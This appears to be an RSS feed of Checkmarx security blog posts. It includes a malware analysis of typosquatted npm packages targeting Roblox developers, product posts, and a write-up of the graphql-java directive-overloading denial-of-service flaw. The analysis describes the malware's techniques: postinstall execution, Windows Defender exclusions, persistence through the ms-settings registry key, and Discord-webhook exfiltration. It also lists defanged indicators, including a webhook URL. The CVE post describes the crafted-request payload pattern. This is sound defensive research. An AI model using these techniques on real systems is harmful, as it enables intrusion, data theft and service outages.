Developer The world runs on code. We secure it. Mon, 30 Sep 2024 14:11:22 +0000 en-US hourly 1 https://wordpress.org/?v=6.6.1 https://checkmarx.com/wp-content/uploads/2024/06/cropped-cx_favicon-32x32.webp Developer 32 32 Year-Long Campaign of Malicious npm Packages Targeting Roblox Users https://checkmarx.com/blog/year-long-campaign-of-malicious-npm-packages-targeting-roblox-users/ Thu, 29 Aug 2024 11:23:57 +0000 https://checkmarx.com/?p=97494 For over a year, a persistent malware campaign has been targeting Roblox developers through malicious NPM packages. By mimicking the popular “noblox.js” library, attackers have published dozens of packages designed to steal sensitive data and compromise systems. This campaign exploits trust in the open-source ecosystem, particularly targeting the Roblox platform, an attractive target due to its massive user base of over 70 million daily active users. Despite multiple package takedowns, new malicious packages continue to appear, some of which are still active on the NPM registry at the time of publication, requiring developers to remain vigilant against this ongoing threat.

Key Points

  • Dozens of malicious npm packages mimicking the popular “noblox.js” library have been identified in a campaign dating back to August 2023, with the most recent ones appearing in late August 2024.
  • The attackers of this campaign have employed techniques including brandjacking, combosquatting, and starjacking to create a convincing illusion of legitimacy for their malicious packages.
  • The malware’s capabilities include Discord token theft, system information harvesting, system persistence, and deployment of additional payloads such as Quasar RAT.
  • The malware employs a sophisticated persistence technique by manipulating the Windows registry, causing it to execute every time a user opens the Windows Settings app.
  • While the identified malicious packages have been removed from npm, the attacker’s GitHub repository containing malicious executables remains active, posing a potential threat for future attacks.

Malware in Disguise: The Social Engineering Aspect

The attackers have employed a multi-faceted approach to craft an illusion of authenticity around their malicious packages.

One deceptive tactic combines brandjacking and combosquatting—two methods that fall under the broader category of typosquatting. This strategy creates the illusion that their packages are either extensions of or closely related to the legitimate “noblox.js” library.

For example: noblox.js-async, noblox.js-thread, and noblox.js-api.

Since libraries commonly have multiple versions or extensions for specific use cases, mimicking this naming pattern increases the likelihood that developers will install the attackers’ packages, assuming they’re official extensions of “noblox.js.”

Another tactic used is starjacking, a popular method attackers employ to fake their package stats. In this instance, the malicious packages were linked to the GitHub repository URL of the genuine “noblox.js” package. This tactic falsely inflates the perceived popularity and trustworthiness of the malicious packages.

The attackers also used tactics to disguise the malware within the package itself. They meticulously mimicked the structure of the legitimate “noblox.js” but introduced their malicious code in the “postinstall.js” file. They heavily obfuscated this code, even including nonsensical Chinese characters to deter easy analysis.

These combined techniques create a convincing façade of legitimacy, significantly increasing the chances of the malicious packages being installed and executed on developers’ systems. As reported in previous analyses by Socket,  Stacklok and Reversinglabs, these tactics have been consistently employed and refined throughout the year-long campaign.

Attack Flow

The malicious code exploits NPM’s postinstall hook, ensuring automatic execution when the package is installed. This hook, designed for legitimate setup processes, becomes a gateway for running the obfuscated malware without the user’s knowledge or consent.

At first glance, the obfuscated code appears daunting and impenetrable. However, by simply using an online automated JavaScript deobfuscation tool, we were able to gain significant insight into the malicious code’s operation. This initial deobfuscation revealed the general steps the malware takes to achieve its objectives. Yet, the resulting code still contained confusing elements and required additional cleaning to fully comprehend its functionality. This process of incremental deobfuscation and analysis allowed us to piece together the complete attack flow, with its most notable details listed below.

Discord Token Theft

The malware searches for Discord authentication tokens in multiple locations.

The stolen tokens are then validated to ensure only active ones are exfiltrated.

Antivirus Evasion

The malware aggressively undermines the system’s security measures. It first targets Malwarebytes, attempting to stop its service if running. This is followed by a more comprehensive attack on Windows Defender: the script identifies all disk drives and adds them to Windows Defender’s exclusion list. This action effectively blinds Windows Defender to any file on the system. By disabling third-party antivirus and manipulating built-in Windows security, the malware creates an environment where it can operate freely, significantly increasing its potential for damage and persistence.

Additional Payload Deployment

The malware expands its capabilities by downloading two additional executables from the attacker’s GitHub repository. These files, “cmd.exe” and “Client-built.exe”, are fetched using base64-encoded URLs and saved to the “C:\WindowsApi” directory with randomized names. The malware uses a combination of “nodeapi_” prefix and a unique hexadecimal string, likely to help the malicious files blend in with legitimate system files.

Persistence Mechanism

To ensure long-term access, the malware manipulates a Windows registry key to ensure it runs consistently on the infected system.

Specifically, it adds the path of the downloaded “Client-built.exe” to the strategic registry location:

“HKCU\Software\Classes\ms-settings\Shell\Open\command”

By modifying this key, the malware hijacks legitimate Windows functionality. As a result, whenever a user attempts to open the Windows Settings app, the system inadvertently executes the malware instead.

Data Exfiltration

Throughout its execution, the malware collects various types of sensitive information from the infected system. This data is packaged and sent to the attacker’s command and control server using a Discord webhook.

QuasarRAT Deployment

The final stage involves deploying QuasarRAT, a remote access tool that gives the attacker extensive control over the infected system.

The Attacker

The second-stage malware originates from an active GitHub repository: https://github.com/aspdasdksa2/callback. As of this writing, the repository remains accessible and potentially in use for distributing malware through other packages. The repository, owned by user “aspdasdksa2”, contains multiple malicious executables. The repository’s continued existence and its content suggest ongoing malware development and distribution.

Previous malicious npm packages were found to be linked to a different repository of that user for their second stage, but that repository is no longer accessible.

Notably, the attacker maintains a second repository named “noblox-spoof”, which appears to house the latest malicious npm package content, directly referencing the target of this campaign.

The most recent malicious packages impersonating the popular noblox.js library (four packages published by user “bicholassancheck14” – noblox.js-async, noblox.js-threads, noblox.js-thread, and noblox.js-api) have been taken down after we promptly reported them to npm’s security team. While this is a positive development, it’s important to note that the threat is not entirely neutralized.

We strongly advise the developer community to remain vigilant. The attacker’s continued infrastructure presence and persistence pose an ongoing threat. Developers should exercise caution, particularly when working with packages that resemble popular libraries like noblox.js.

Conclusion

This malware campaign, targeting Roblox developers through npm packages, has persisted for over a year. By mimicking the popular “noblox.js” library, attackers published dozens of malicious packages designed to steal sensitive data and compromise systems.

Central to the malware’s effectiveness is its approach to persistence, leveraging the Windows Settings app to ensure sustained access.

The discovery of these malicious NPM packages serves as a stark reminder of the persistent threats facing the developer community. By masquerading as legitimate, helpful libraries, attackers continue to find new ways to exploit trust within the open-source ecosystem.

This campaign underscores the critical importance of thoroughly vetting packages before incorporation into projects. Developers must remain vigilant, verifying the authenticity of packages, especially those resembling popular libraries, to protect themselves and their users from such sophisticated supply chain attacks.

As part of the Checkmarx Supply Chain Security solution, our research team continuously monitors suspicious activities in the open-source software ecosystem. We track and flag “signals” that may indicate foul play and promptly alert our customers to help protect them.

Packages

  • noblox.js-async
  • noblox.js-thread
  • noblox.js-api
  • noblox.js-threads

IOC

  •  hxxps[:]//github[.]com/aspdasdksa2/callback/raw/main/Client-built.exe
  • hxxps[:]//github[.]com/aspdasdksa2/callback/raw/main/cmd.exe
  • hxxps[:]//discord[.]com/api/webhooks/1273489016658071624/HWeSPo3qKIbUbqkwiWNoTneHoqo70s5aAYf9NBkAxoICy1SBMezf9ka22Ry59WK1kwYk
]]>
RB1 RB2 RB3 RB4 RB5 RB6 RB7 Rb8
Championing Security in a Changing World: Elevate Your Security Posture with the Checkmarx Security Champion Program   https://checkmarx.com/blog/championing-security-in-a-changing-world-elevate-your-security-posture-with-the-checkmarx-security-champion-program/ Tue, 12 Sep 2023 16:00:48 +0000 https://checkmarx.com/?p=86990 The responsibility for security cannot be shouldered solely by security experts. Integrating security within the development process is no longer optional, it’s a necessity — especially as systems become more complex. One of the most effective ways to help foster this cross-team collaboration is to create a security-first culture among the teams— Security Champions. The Checkmarx Security Champion Program empowers CISOs and App Sec leadership to support their teams by providing the necessary security guidance and education.  

Navigating the Security Landscape with Security Champions 

Security Champions don’t just advocate for best security practices within their engineering teams; they become catalysts for fostering a greater security culture. How? They bridge the gap between security and development teams by facilitating communication, encouraging best practices, and bolstering security awareness. It’s important to note that their role is not to become new security experts, but instead, to act as liaisons and advocates of a more security-focused process. 

Introducing the Checkmarx Security Champion Program 

Checkmarx has developed an updated and dedicated program to help you build, nurture and empower your Security Champions. Our program aims to develop a network of security-conscious developers that are primed to help elevate their team’s security posture. 

This immersive learning experience, built on the bedrock of our Codebashing platform, presents developers with an interactive, game-like environment. Developers can now learn about application security at their own pace, while also being equipped with the essential skills and knowledge they need in order to champion security within their teams. 

A Holistic Approach to Security Education 

The Checkmarx Security Champion Program contains useful information for the entire range of engineering roles, including back-end, front-end, DevOps, and QA. The program, developed by our application security researchers, includes more than 80 lessons focusing on secure code writing. When participants complete the training, they are awarded a Security Champion Program certificate that is issued by Checkmarx. Security Champion Program certificates are issued at various levels, ranging from 1 to 3.  

Within the program, your developers will: 

  1. Learn To Stay Ahead of Threats: Developers will learn how to remain ahead of security threats by continuously learning about the latest security vulnerabilities and best practices, through regularly updated content. 
  1. Think Like a Hacker: Our lessons are curated from an attacker’s perspective, making the learning process both practical and relatable. 
  1. Action-Oriented Learning: With hands-on exercises, developers can instantly apply their newfound knowledge and quickly observe the impact of their actions in real-world scenarios. 

A Culture Shift in Security Advocacy 

At Checkmarx, we understand that the goal of cultivating Security Champions goes well beyond just training— it’s nurturing an overarching security-conscious culture. Our program’s influence extends beyond the Codebashing platform, because it also containing: 

  1. Continuous Learning: The program provides bite-sized learning modules and personalized learning paths, that can assist in fostering an environment of ongoing security education. That kind of environment keeps developers well-versed in evolving threats and secure coding practices. 
  1. Enhanced Engagement: Gamification helps keep developers engaged throughout their learning journey. This helps create a proactive security culture where secure coding education seamlessly blends into developers’ daily routines. 
  1. Codebashing Learning Paths: Tailored learning paths ensure that each developer acquires the appropriate skills that are aligned with their specific responsibilities, and helps promote accountability while empowering them to support security. 

Elevating Communication and Closing the Gap 

By directly linking lessons to vulnerabilities within developers’ integrated development environments (IDEs), Codebashing facilitates communication between AppSec teams and developers. This helps unite two pivotal groups in a collaborative effort.  

Boost your security posture with Checkmarx Security Champion Program 

Application security education must be an integrated part of the development process. Checkmarx is committed to empowering your developers with the knowledge, tools, and support to become true Security Champions. Through the Checkmarx Security Champion Program, we lead the charge in transforming development teams into CISOs and App Sec extensions. 

]]>
mockup-1024×273-1
Best Fix Location: Minimize Fix Time and Maximize Security https://checkmarx.com/blog/best-fix-location-minimize-fix-time-and-maximize-security/ Fri, 08 Sep 2023 18:08:32 +0000 https://checkmarx.com/?p=86851 A Cascade of Errors 


When I wrote Delphi code, I had to compile code into binaries to run on Windows.  The compiler wouldn’t produce a binary unless my code was semantically correct.  If the code was semantically correct, but had potential logic errors, the compiler would issue warnings.  My team always had an ironclad rule that we should never commit code with warnings.  (There were also hints that resulted from semantically correct, but syntactically meaningless, code.  We also never wanted to check-in code with hints…) 

Sometimes a compilation would result in many, many warnings. A quick examination would usually reveal the reason and making one fix in one spot would often resolve all the warnings. 

 A similar thing can happen with security vulnerabilities in your code.  Sometimes, when doing a Static Analysis Security Testing (SAST) scan, you can get a ton of (seemingly) unrelated errors.  You might look at that and think “Sweet Baby Elvis, this is going to take a long time to fix!”  But fear not – our Static Application Security Testing (SAST) tool can make it easier for you to clear those errors as quickly as possible. 

The Best Place 

Very often, a single change to your code can cause many of the vulnerabilities in your code to go away. But it’s finding that spot in your code can often be the challenge. 

Checkmarx SAST has a feature called “Best Fix Location,” or BFL for short.  The BFL is designed to find that “one fix, many vulnerabilities disappear” spot in your code.  As part of the scanning process, our SAST will process our code analysis, and then try to find the very best place to fix any given alert. Very often, that remediates the root problem for many other issues.   

Above, you can see the Checkmarx One interface showing an alert in some JavaScript code that could lead to a DOM Stored Cross-site Scripting attack.  This is a common problem that has an easy solution.  Sometimes, it can be difficult to figure out the best place to start.   

In the upper right, you can see links to a chain of attack vectors – places that a malicious actor might try to place script code into your application.  The bottom link is the line of code “closest to the surface”, and each line above it digs in a little deeper.   

The top one, the fourth in the call stack, is the Best Fix Location.  It is the spot in the code that is the “root of the problem.” Make a correction there, and it is likely that other vulnerabilities that use that code at a “higher” point in the code will go away as well.   

In this case, we can see that the responseText property will allow malicious users to be able to place unsanitized code into our page, leaving our application open to attack.   

How This All Works 

Our SAST tools do something that is called “Data Flow Analysis.” Data Flow Analysis focuses on how data flows through the application, showing how data is passed between different statements or blocks of code. It tracks the relationship between different variables, expressions, and operators in a particular program, and how they are used to compute values or change data.  Our solution uses this information to find vulnerabilities in your code.   

Data Flow Analysis is much more resource intensive than some other solutions that use Regular Expressions or other ways of analyzing code.  This trade-off is worth it though, because Data Flow Analysis is a deep and thorough examination of not merely the code, but the way the code works. 

Getting It Fixed 

Now you know where the problem lies. But we don’t abandon you there.  We will point you to resources that will help you understand what the risk is, why it is a risk, and how to make the risk go away. 

On the right is a quick description of what the vulnerability is.  You will be able to continue to learn more about the vulnerability by following the “Read More” link. There you will be given a complete description of the issue, including code examples of the problem occurring and recommended solutions.  In addition, we point you to resources within our CodeBashing training solution that can give you even more information.  

Once you understand the issue, we make it simple for you to remediate it.  You know your codebase, and so you know the best way to move forward with this alert.  Maybe it looks like a problem, but it isn’t. Maybe it is a problem and needs to be fixed in due course.  Or maybe it needs to be fixed immediately.  You can use the dashboard to give the issue a label to make sure that it will be dealt with properly, and so that it will receive the correct level of attention. 

So far, we’ve been looking at all of this in the Checkmarx One Dashboard.  But if you are a developer, you can do all of what we talked about here right inside your IDE.  We have plugin support for VS Code, Visual Studio, JetBrains Ultimate, and Eclipse.  Our plugins let you run SAST scans to see, process, and fix alerts without leaving your tool of choice. 

Hunting down the location of the problem is often the biggest time-sink in dealing with a code security alert. Not having to even do the search is a huge productivity boost.  Getting all the information about the problem and advice on how to fix it is the icing on the cake.     

In the end, the Best Fix Location feature will give you everything you need to make quick work of problems in your code.   

]]>
image-37-1024×576-1 image-34-2 image-35-2 image-36-1024×390-1
Software Supply Chain Security Leaders Collaborate and Build Browser Extension to Help Developers Choose Open Source https://checkmarx.com/blog/software-supply-chain-security-leaders-collaborate-and-build-browser-extension-to-help-developers-choose-open-source/ Tue, 05 Sep 2023 13:00:00 +0000 https://checkmarx.com/?p=86777 A Story of Collaboration

Working Together To Keep Open Source Safe

At the beginning of 2023, top researchers from industry-leading companies established the Supply Chain Attack Research (SCAR) group. To stay one step ahead of this constant race against malicious actors, the group agreed there was a need to foster collaboration among experts, define efficient standards, develop tools to benefit the global community, and promote joint research and information sharing.

Karine Ben-Simhon, VP of Customer Advocacy at Trellix Advanced Research Center is one of the founders of the SCAR forum. While working at Citi’s Cyber Security Innovation Lab, she launched the SCAR forum with a strong emphasis on its cross-industry nature.

Figure 1: Supply chain security through collaboration

Open Source and Packages

90% of organizations use open-source resources, since they are a great way for organizations to quickly create and deliver software. However, 3rd-party open source dependencies also come with inherent risks. Open-source software libraries (also called packages) are published to multiple hosting ecosystems, such as NPM, PyPi, and GitHub, just to name a few. 

There is a dissonance between the quantity of available open-source tools that many organizations utilize for code development, whether they are startups or large entities that rely on open-source code or third-party components using open-source code, and the available tools to vet these packages. This leads to a dependency which opens a wide and fertile realm for threat actors to operate in and leverage to get access to organizations’ networks. 

Figure 2: Software developer browsing the web to download an open-source NPM package

Vulnerabilities and Malicious Code

Vulnerabilities are one of the many risks of using open-source code. While vulnerabilities are usually not purposely inserted by the authors, the potential exploitation may be critical (such as Log4j RCE critical vulnerability). 

On the other hand, malicious code is different. Attackers publish malicious open-source packages that disguise themselves as legitimate for developers and contain harmful code silently deployed on developers’ workstations, build systems, production servers, and even end-consumers, such as This campaign of 900+ malicious typosquatting packages or These malicious packages dropping undetectable sophisticated malware, and many more.

Not Originally Designed for Security

It is easy to consume open-source packages, and for creators, even easier to publish new content to those open-source ecosystems. All a publisher needs are an email address, and an open and unique package name.  Creators can assign it to themselves and include any code under that name in a matter of seconds.

There is almost no vetting at all of the content being published to such open-source ecosystems. For example, attackers take advantage of the Starjacking attack technique to give an appearance of legitimacy to their packages, luring developers or end-users into a trap that may not be particularly sophisticated. 

How Developers Choose Open Source

Let’s imagine we are software developers. We were assigned a new task to add a new feature to an existing NPM project. As we try to set up our environment, we are getting the following error message:

Figure 3: A screenshot of the error message when setting up new environment 

Problem? “Google It”

Some developers trying to solve the issue may search for a solution via search engines. Simply copying & pasting the error message into a search engine offers some interesting, and relevant, leads to a solution for a common problem.

Figure 4: A screenshot of searching the error in Google Search engine

The top result is a StackOverflow thread that looks promising. Many answers simply suggest installing the express-generator package, without explanation. However, just because people say it’s OK, it really is?

Figure 5: Screenshot from a popular Stack Overflow answer, recommending using express-generator npm package

The Troubleshooting Circle

Many developers who run into similar answers recommending installing an open-source package would go ahead and install it on their local machine, by simply copying & pasting the suggested install command and executing it on their local development environments.

Figure 6: The troubleshooting circle

Evaluating Open-Source Packages

Should developers be responsible for security? Yes. With great power comes great responsibility, and developers are responsible for evaluating open-source packages before using them.

There are multiple parameters developers should check before installing an open-source package. Some developers might focus on the license, others may be more interested in avoiding abandonware and focusing on maintained projects, and others may avoid projects with unresolved security issues.

This important step of a developer investing time in evaluating an open source usually includes manual labor in comparing the related source code repository with the actual package content, reviewing the package contributors, viewing the project’s popularity and adoption, maintenance metrics such as how fast issues are resolved, and more. 

This is time-consuming, but luckily there are great tools such as Socket, Snyk Advisor, Scorecard, and Debricked, that provide those services. Each of these tools are designed to assist software developers in understanding the structure and security of available open-source packages. Developers may use them to evaluate the packages they consider installing and make responsible decisions.

Unfortunately, even though these tools are accessible, not all developers possess an awareness of their existence or incorporate them into their daily internal workflows.

Figure 7: A screenshot of socket.dev, displaying the package report of the express-generator package

Developers usually will not go out of their research flow to analyze the package security level, and there is a low chance that developers will invest in an evaluation process every time they are considering a new package. Not because they don’t care, but because they are not aware of the threats, they are not security-oriented users and, therefore, an easy target for threat actors. 

We assume some developers are simply not aware of this important step that should be  defaulted in  their research flow, while others may be unaware of those free tools.

The Solution: Overlay Browser Extension

To keep the developer’s experience as native and intuitive as possible, while assisting the developer in being aware of such tools and free information related to open-source packages, software supply chain leaders Checkmarx and Illustria, members of the SCAR forum, joined their research forces for the good and created Overlay – an open-source browser extension.

The extension detects references to open-source packages and adds links to numerous free tools offered by industry leaders providing extra information to help developers assess the package’s legitimacy, which is crucial for the developer’s evaluation process.

Figure 8: A screenshot from StackOverflow answer after Overlay is installed on the browser

Floating Shortcuts

With minimal intrusion, the browser extension provides a configurable tooltip displaying key points from each report. 

Rather than manually typing, searching, and finding information related to the candidate package, with Overlay, developers get a tooltip with quick links to those trusted sources mentioned above.

Figure 9: Screenshot from a popular Stack Overflow answer with Overlay browser extension tooltip

Figure 10: A screenshot from the GitHub page of Overlay https://github.com/os-scar/overlay 

Summary

So far, the Overlay project has received contributions from Checkmarx, Illustria, Vulcan, Maakaf, and more individual contributors. “Don’t take code from strangers without vetting,” advised Baruch Odem, Senior Software Engineer at Checkmarx and one of the leading contributors to the Overlay project. This is a great example of how vendors should collaborate despite being competitors and contribute back to the community. 

The main value of Overlay is to offer developers an intuitive experience while connecting them with security advisories from reputable sources and empowering developers with the mindset to take responsibility for the code they intend to install.

We encourage individuals and organizations of all scales, from startups to enterprises, to consider integrating Overlay into their workflow. We acknowledge that this process may take time, and implementation depends on the maturity of an organization and other factors. We encourage developers to consider using Overlay even for personal usage.

Remember that threat actors are aiming their focus in the past few years on poisoning software supply chain open-source dependencies and targeting developers and we need to work in collaboration as an industry towards a common goal to not only track these malicious activities, share information and research, but also work together to create a safer open-source environment. 

]]>
image-1-1 image-6-1 image-57 image-7-1 image-8-1 image-2-1 image-5-1 image-4-1 image-3-1 image-5-1
The Buzz Around Developer Experience: Unlocking the Potential of Superior DevEx with Codebashing 2.0 https://checkmarx.com/blog/the-buzz-around-developer-experience-unlocking-the-potential-of-superior-devex-with-codebashing-2-0/ Mon, 24 Jul 2023 16:01:52 +0000 https://checkmarx.com/?p=85757 Developer Experience (DevEx) is a term that is rapidly gaining traction, but what’s behind the buzz? The answer lies in the profound impact that a superior DevEx can have on software developers’ productivity, satisfaction, and proficiency in their day-to-day operations. It’s a game-changer that can revolutionize production cycles, streamline processes, accelerate development timelines, and foster innovation. As organizations strive for excellence in software development, investing in a top-notch DevEx becomes critical. 

The Checkmarx Approach to Developer Experience 

DevEx considers all the tools, processes, and systems developers use during software development. A well-designed DevEx translates to more efficient developers, which could even lead to expedited releases with reduced bug rates. At Checkmarx, we recognize the importance of a comprehensive, developer-oriented approach to AppSec. We aim to seamlessly blend security into the developer’s existing workflow, allowing developers to concentrate on their main goal – developing exceptional applications.

In Application Security, TRUST is not just a word; it’s a vital element. It’s the bond that aligns CISOs, AppSec teams, security champions, and developers – shaping a security program’s framework, methodology, goals, and progress. Trust emphasizes the significance of an effective DevEx program, where developers can confidently navigate the security landscape while maintaining productivity. 

At Checkmarx, we believe that an effective DevEx program requires specific elements to thrive: 

  1. Improved accuracy and heightened alert fidelity: Providing developers accurate security insight is essential. By enhancing alert fidelity, organizations empower their teams to take immediate action, focusing efforts on high-impact vulnerabilities that pose the most significant risk to applications.
  2. Knowing where to start to make the greatest impact: Knowing where to begin can be daunting, especially with countless potential vulnerabilities to address. Effective DevEx programs provide clear visibility into an application’s security posture, offering prioritization mechanisms to identify and address vulnerabilities based on severity, and potential impact. This can allow for effective resource allocation, which can maximize the impact on application security. 
  3. Seamless integration within the developers’ ecosystem: AppSec should seamlessly integrate into the developers’ existing workflow. This integration ensures that security is an intrinsic part of the development process that empowers developers to identify, and remediate, vulnerabilities in real time. Organizations that encourage secure coding practices may find they have a faster time-to-market. by embedding security checks into their ecosystems. 
  4. Giving every developer the knowledge to write secure code faster: Developer education plays a fundamental role in a successful DevEx program. Equipping developers with the knowledge and tools to write secure code can save valuable time and resources. Comprehensive security education platforms, like Codebashing, provide interactive and gamified learning experiences that proactively enable developers to address security concerns during the early stages of development. 

By embracing these elements, organizations can create a strong DevEx program that nurtures collaboration, productivity, and security. Trust, accuracy, targeted prioritization, seamless integration, and developer education form the pillars of an effective DevEx strategy that enables organizations to unlock the true potential in their development teams.

The Integral Role of Security Education in Developer Experience 

Security education is a fundamental component of an effective DevEx strategy. When equipped with strong security skills, developers can identify and resolve vulnerabilities during the initial stages of software development. This proactive approach can minimize potential security incidents, while also saving time and resources that can be spent fixing issues later in the development cycle. 

Codebashing 2.0 is a revolutionary tool that provides developers with an interactive security education. It is designed to empower developers and give them the knowledge they need to write secure code from the first line. With tailored training paths, security champion programs, and an engaging, gamified learning environment, Codebashing has quickly become a trusted tool for developer-centric security education. 

“It becomes part of everybody’s

workday, identifying potential problems before they

start — and how to avoid them,” said Stearns. “The

learning is continuous and organic, with lessons and

best practices delivered to developers right when

they are needed. That is a powerful proposition.”

Joel Godbout

Cybersecurity and Networking Manager, PCL Construction

What’s New in Codebashing 2.0? 

We are excited to announce the launch of Codebashing 2.0, the next generation of our interactive secure code learning platform. Codebashing 2.0 brings a range of exciting new features and enhancements, including: 

  • Personalized Learning Paths: To ensure relevant learning, developers can now access learning paths tailored to their specific skill level and needs. 
  • Security Champion Program: This feature will help organizations nurture a culture of leadership and responsibility. This allows each department to have a dedicated security expert – building trust across your organization and facilitating effective communication between developers and security teams. 
  • Engine Integrations: Codebashing can be seamlessly integrated with Checkmarx One, which allows for a familiar ecosystem for users.
  • Revamped UX/UI: Codebashing 2.0 offers a more intuitive, user-friendly design, making secure code learning accessible for developers of all levels. 
  • Expanded Content: Our new library extends beyond the Open Web Application Security Project (OWASP) 2023 Top 10, covering a broader range of vulnerability classes for more comprehensive security learning. 

Ready to See It in Action?

Investing in Developer Experience is no longer optional for today’s software development lifecycle. Upgrade your DevEx to empower your team with secure code skills.  

To learn more about Codebashing 2.0, visit our page and schedule a demo today. Take the first step towards secure code and a better Developer Experience today.

]]>
MicrosoftTeams-image-11-1024×605-1
CVE-2022-37734: graphql-java Denial-of-Service https://checkmarx.com/blog/cve-2022-37734-graphql-java-denial-of-service/ Thu, 30 Mar 2023 12:49:09 +0000 https://checkmarx.com/?p=82099 GraphQL is an API standard said to be a more efficient and flexible alternative to REST and SOAP. One of the main purposes of a GraphQL server is to process incoming data.

One of the most challenging tasks for developers who work with GraphQL servers is Denial-of-Service (DoS) protection. Directive overloading (submitting multiple directives) is one of the DoS vectors to be concerned about.

Directives are used to dynamically change queries’ structure and shape using variables. If the context of using the directive is not clear – don’t worry; that’s not important in the current vulnerability. To learn more information about directives and directive overloading check our blog post: https://checkmarx.com/blog/alias-and-directive-overloading-in-graphql/

Vulnerable software

graphql-java is the most popular GraphQL server written in Java. It was found to be vulnerable to DoS attacks through the directive overload.

Moreover, the spring-graphql by Spring and dgs-framework by Netflix libraries use it as a core component. Therefore, they’re also vulnerable if the core component is outdated. To understand the scale of the problem, it’s worth mentioning that graphql-java is the number 1 library in Maven’s top GraphQL servers and is used by 355 libraries.

The vulnerability was fixed in two stages. The first fix introduced a security control, whereas the second one targeted the root cause. The first fix is presented in the versions of graphql-java 19.0 and later, 18.3, and 17.4.

The second fix has been applied in the version 20.1 with the pull-request.

Exploitation and Impact

The vulnerability can be exploited by sending a crafted GraphQL request. The request contains a huge number of non-existing directives.

The example demonstrated below is based on the spring-graphql GraphQL server that uses the unpatched graphql-java version.

Request example:

@aa is a non-existent directive. The processing time of this request is only about 100 ms; whereas, adding a large number of directives drastically increases the execution time. The screenshot below shows the request with 1000 directives which is executed in 189 ms, 3000 in 447 ms, 5000 in 963 ms, 7000 in 1,7 second, 10000 in 3 seconds, and 15000 in 5.4 seconds:

The time of execution increases based on the number of directives. By launching 50 concurrent malicious requests with 30.000 directives, the server becomes unavailable:

As a result of this attack, the server became unavailable. All the CPU resources were exhausted.

An attacker can exhaust all the server’s CPU resources by sending 50 concurrent requests using only one attacking machine.

Root cause

Two Denial-of-Service protections have been added before the discovery of the vulnerability in the following pull requests:

These protection mechanisms are triggered when an attacker submits a big query; they limit the number of parsed tokens and validation errors.

And the limit works. After submitting more than 15000 tokens, the following error occurs:

{
  "errors": [
    {
      "message": "Invalid Syntax : More than 15000 parse tokens have been presented.
      To prevent Denial Of Service attacks, parsing has been cancelled. offending token '@' at line 2 column 22511"
    }
  ],
  ...
}

However, as seen in the example above, the execution time increases even when more than 15000 tokens are provided. It means that the DoS occurs before the code reaches the token limits.

The problem resides in query recognition by the ANTLR4 lexer. The graphql-java developer bbakerman mentions:

Testing showed that the max token code was indeed being hit, but the ANTLR lexing and parsing code was taking proportionally longer to get to the max token state as the input size increased

This is cause by the greedy nature of the ANTLR Lexer – it will look ahead and store tokens in memory under certain grammar conditions..

Graphql-java uses ANTLR4 for decomposing GraphQL queries to lexical tokens. The code line that raises the DoS vulnerability is located in the file graphql/parser/Parser.java:

The call chain goes to the file graphql/parser/antlr/GraphqlParser.java.

This file is generated automatically by ANTLR and is based on the grammar file Graphql.g4. The file with the .g4 extension contains the grammar for the ANTLR parser. The file imports other g4 files, and they all describe how ANTLR should parse GraphQL queries.

Further investigation of ANTRL files revealed the vulnerable pattern. The pattern causing the DoS vulnerability in GraphQL grammar is a classic “don’t.” The following rule is located in the GraphqlSDL.g4 file:

...
schemaExtension :
    EXTEND SCHEMA directives? '{' operationTypeDefinition+ '}' |
    EXTEND SCHEMA directives+
;

And the directives rule isdescribed in the file GraphqlCommon.g4:

 directives : directive+;
directive :'@' name arguments?;

The rule called directives is repetitive and, additionally, applies repetition to the directive sub-rule. Nested repetition leads to DoS risk. This issue can be compared with an “evil” regex.

It’s worth mentioning that the schemaExtension rule is not even used to recognize the query. It happens because the directives rule uses the adaptivePredict method in the ANTLR-generated code.

adaptivePredict algorithm is context-free by default – but, in case of ambiguity, it falls back to a context-sensitive analysis to proceed with the recognition. This seems especially relevant when a rule has a repetition operator since ANTLR can only decide which state to transit to after looking ahead until the end of the repetition. This lookup wouldn’t be a problem for a single repetition since ANTLR only performs this analysis once per loop. However, the code contains nested repetition, which causes ambiguity inside both repetitions.

Fix #1

The diff for fixed code: https://github.com/graphql-java/graphql-java/pull/2892/files#diff-f9fc01d56c3bffa9c70fee9c9b3ad888d6890b84d774c20a99b2526b31500ab8

The idea behind the fix is the same as the DoS protection just mentioned—stop parsing query if it contains more than 15,000 (a default configurable value) directives. This time, the check is performed before passing the query to ANTLR processing.

The main changes in the graphql/parser/Parser.java file:

SafeTokenSource class is introduced to verify that the number of tokens in the query doesn’t exceed a threshold. It prevents a malicious query from being stuck by throwing an exception when a threshold is reached.

Additional research of the fixed version showed that the fix protects graphql-java server only against a single-threaded attack. An attacker cannot send a single query with a large amount of “evil” directives; however, sending multiple requests simultaneously (> 50-100 threads) containing a large, but allowed number, if directives still leads to DoS, since the root cause of the vulnerability was still there.

Fix #2

The second fix targets the root cause. These changes fix the nested repetition of directives in the rule schemaExtension.

This is the changed code in the file src/main/antlr/GraphqlSDL.g4:

For fixing the nested repetition, it’s enough to delete the + (plus) sign for the directives. Also, it requires changing the parsing of the schema in the file src/main/java/graphql/parser/GraphqlAntlrToLanguage.java.

After applying the fix, a significant difference in execution time between the first and the second fixes can be observed:

The utilized payload @aa is two characters long. As shown in the screenshot above, 7000 directives, two chars long each, do not hit the 15000 chars limit and consume way more resources when the second fix is not applied. The execution time becomes similar after 8000 directives because the first fix blocks more than 15000 characters and doesn’t parse them. The second fix eradicates the root cause and prevents a DoS regardless of the payload size.

The changes above were applied in the pull-request: https://github.com/graphql-java/graphql-java/pull/3071

References

]]>
From Zero to AppSec Anti-Hero: How AI Brings More Security Issues Than It Fixes https://checkmarx.com/blog/from-zero-to-appsec-anti-hero-how-ai-brings-more-security-issues-than-it-fixes/ Fri, 17 Mar 2023 07:00:00 +0000 https://checkmarx.com/?p=82016 AI is now being pushed, if not forced, into software development by “helping” developers writing code. With this push, it’s expected that developers’ productivity increases, as well as the speed of delivery. But are we doing it right? Did we not, in the past, also push other tools/methodologies into development to increase the speed of development? For example, the Waterfall Model was not very flexibly when came to security. [1] That push created more security issues than the actual ones that were solved, because security is always the last thing to think of. We can see the same pattern all over again with AI used to develop software.

Code Completion Assistants

